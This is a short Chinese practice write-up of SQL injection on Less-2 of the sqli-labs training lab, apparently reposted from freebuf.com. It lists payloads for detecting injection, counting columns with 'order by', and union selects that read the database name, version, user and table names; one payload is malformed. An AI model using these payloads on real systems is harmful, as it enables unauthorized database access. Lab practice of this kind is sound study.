sqli-labs练习(Less-2) – 作者:犹豫就会败北

菜鸟练习笔记,大牛请绕道~~~

1)判断注入

查询?id=1,返回正常

1611939470_60143e8e55c5b30dffbd4.png!small

加单引号’,返回错误

1611939574_60143ef628766206172d5.png!small

查询 and 1=1

返回正常

1611939689_60143f690082206a01503.png!small

查询 and 1=2

返回错误

1611939729_60143f915a2db72b9da9f.png!small

可猜测存在SQL注入

2)判断字段

order by 3  :正常

order by 4  :报错

1611940396_6014422c6cb95e501fc28.png!small

1611940292_601441c43359ec1c23880.png!small

可猜测长度为3

3)猜测报错的地方

and 1=2 union select 1,,3 from information_schema.tables

1611940614_601443068619f91941443.png!small

在2的报错基础上报基本信息

database():数据库名

1611940880_60144410c66ddf5522ece.png!small

version():数据库版本

1611940930_60144442d2d3d7f090824.png!small

user():数据库用户

1611940973_6014446d6902191e029a8.png!small@@version_compile_os:操作系统

1611941026_601444a2bf4d657f1767b.png!small

union select 1,user(),3

1611941115_601444fbdfbbb56c3c4bb.png!small

在猜测出数据库名后,猜测表名

union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=十六进制的数据库名

来源:freebuf.com 2021-01-30 02:09:14 by: 犹豫就会败北

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论